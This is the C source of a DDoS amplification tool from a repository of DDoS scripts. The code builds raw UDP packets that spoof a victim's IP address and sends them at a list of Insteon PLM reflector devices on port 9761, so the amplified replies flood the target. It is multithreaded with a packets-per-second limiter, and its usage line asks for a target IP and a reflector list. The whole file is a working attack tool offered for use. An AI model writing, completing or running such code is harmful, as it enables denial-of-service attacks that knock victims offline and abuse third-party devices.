Path: blob/master/DDOS Scripts/AMP Methods/INSTEON PLM Amplification/insteon.c
4622 views
/*1private amplification2insteon plm devices.34Transmissional.5*/67#include <time.h>8#include <pthread.h>9#include <unistd.h>10#include <stdio.h>11#include <stdlib.h>12#include <string.h>13#include <sys/socket.h>14#include <netinet/ip.h>15#include <netinet/udp.h>16#include <arpa/inet.h>17#define MAX_PACKET_SIZE 819218#define PHI 0x9e3779b919static uint32_t Q[4096], c = 362436;20/*21let us define container sets.22we could use this to initialise more data response.23*/2425#define get_response 0x00226#define meta_iso_req 0x00FFFF27#define mobset_rw_se 0x00000000028struct list29{30struct sockaddr_in data;31struct list *next;32struct list *prev;33};34struct list *head;35volatile int tehport;36volatile int limiter;37volatile unsigned int pps;38volatile unsigned int sleeptime = 100;39struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };40void init_rand(uint32_t x)41{42int i;43Q[0] = x;44Q[1] = x + PHI;45Q[2] = x + PHI + PHI;46for (i = 3; i < 4096; i++)47{48Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;49}50}51uint32_t rand_cmwc(void)52{53uint64_t t, a = 18782LL;54static uint32_t i = 4095;55uint32_t x, r = 0xfffffffe;56i = (i + 1) & 4095;57t = a * Q[i] + c;58c = (t >> 32);59x = t + c;60if (x < c) {61x++;62c++;63}64return (Q[i] = r - x);65}66unsigned short csum (unsigned short *buf, int nwords)67{68unsigned long sum = 0;69for (sum = 0; nwords > 0; nwords--)70sum += *buf++;71sum = (sum >> 16) + (sum & 0xffff);72sum += (sum >> 16);73return (unsigned short)(~sum);74}75void setup_ip_header(struct iphdr *iph)76{77iph->ihl = 5;78iph->version = 4;79iph->tos = 0;80iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 2; /* we set the payload length as an individual integer as sizeof() is NOT reliable */81iph->id = htonl(54321);82iph->frag_off = 0;83iph->ttl = MAXTTL;84iph->protocol = IPPROTO_UDP;85iph->check = 0;86iph->saddr = inet_addr("192.168.3.100"); /* jason this wasn't necessary yano */87}88#define get_iso "\x01\x01\x04\x06\x01\x01\x04\x06\x01\x01\x04\x06"89#define net_iso "\x01\x01\x04\x06\x01\x01\x04\x06\x01\x01\x04\x06\x01\x01\x04\x06\x01\x01\x04\x06"90void setup_udp_header(struct udphdr *udph) // setup our little cutie91{92/* we are establishing a full form connection to93snmp. this should force release a get response94which should include device data and traffic_D.95response should be 1000+96*/97udph->source = htons(5678);98udph->dest = htons(9761);99udph->check = 0;100memcpy((void *)udph + sizeof(struct udphdr), "\x02\x60", 2);101udph->len=htons(sizeof(struct udphdr) + 2);102}103void *flood(void *par1)104{105struct thread_data *td = (struct thread_data *)par1;106char datagram[MAX_PACKET_SIZE];107struct iphdr *iph = (struct iphdr *)datagram;108struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);109struct sockaddr_in sin = td->sin;110struct list *list_node = td->list_node;111int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);112if(s < 0){113fprintf(stderr, "Could not open raw socket.\n"); // errors114exit(-1);115}116init_rand(time(NULL));117memset(datagram, 0, MAX_PACKET_SIZE);118setup_ip_header(iph);119setup_udp_header(udph);120udph->source = htons(rand() % 65535 - 1026); // <-- you should try to play around with this121iph->saddr = sin.sin_addr.s_addr;122iph->daddr = list_node->data.sin_addr.s_addr;123iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);124int tmp = 1;125const int *val = &tmp;126if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){127fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); // errors128exit(-1);129}130init_rand(time(NULL));131register unsigned int i;132i = 0;133while(1){134sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));135list_node = list_node->next;136iph->daddr = list_node->data.sin_addr.s_addr;137iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);138iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);139140pps++;141if(i >= limiter)142{143i = 0;144usleep(sleeptime);145}146i++;147}148}149int main(int argc, char *argv[ ])150{151if(argc < 6){152fprintf(stderr, "Invalid parameters!\n");153fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);154exit(-1);155}156srand(time(NULL));157int i = 0;158head = NULL;159fprintf(stdout, "Setting up sockets...\n");160int max_len = 128;161char *buffer = (char *) malloc(max_len);162buffer = memset(buffer, 0x00, max_len);163int num_threads = atoi(argv[4]);164int maxpps = atoi(argv[5]);165limiter = 0;166pps = 0;167int multiplier = 20;168FILE *list_fd = fopen(argv[3], "r");169while (fgets(buffer, max_len, list_fd) != NULL) {170if ((buffer[strlen(buffer) - 1] == '\n') ||171(buffer[strlen(buffer) - 1] == '\r')) {172buffer[strlen(buffer) - 1] = 0x00;173if(head == NULL)174{175head = (struct list *)malloc(sizeof(struct list));176bzero(&head->data, sizeof(head->data));177head->data.sin_addr.s_addr=inet_addr(buffer);178head->next = head;179head->prev = head;180} else {181struct list *new_node = (struct list *)malloc(sizeof(struct list));182memset(new_node, 0x00, sizeof(struct list));183new_node->data.sin_addr.s_addr=inet_addr(buffer);184new_node->prev = head;185new_node->next = head->next;186head->next = new_node;187}188i++;189} else {190continue;191}192}193struct list *current = head->next;194pthread_t thread[num_threads];195struct sockaddr_in sin;196sin.sin_family = AF_INET;197sin.sin_addr.s_addr = inet_addr(argv[1]);198struct thread_data td[num_threads];199for(i = 0;i<num_threads;i++){200td[i].thread_id = i;201td[i].sin= sin;202td[i].list_node = current;203pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);204}205fprintf(stdout, "Starting flood...\n");206for(i = 0;i<(atoi(argv[6])*multiplier);i++)207{208usleep((1000/multiplier)*1000);209if((pps*multiplier) > maxpps)210{211if(1 > limiter)212{213sleeptime+=100;214} else {215limiter--;216}217} else {218limiter++;219if(sleeptime > 25)220{221sleeptime-=25;222} else {223sleeptime = 0;224}225}226pps = 0;227}228return 0;229}230231232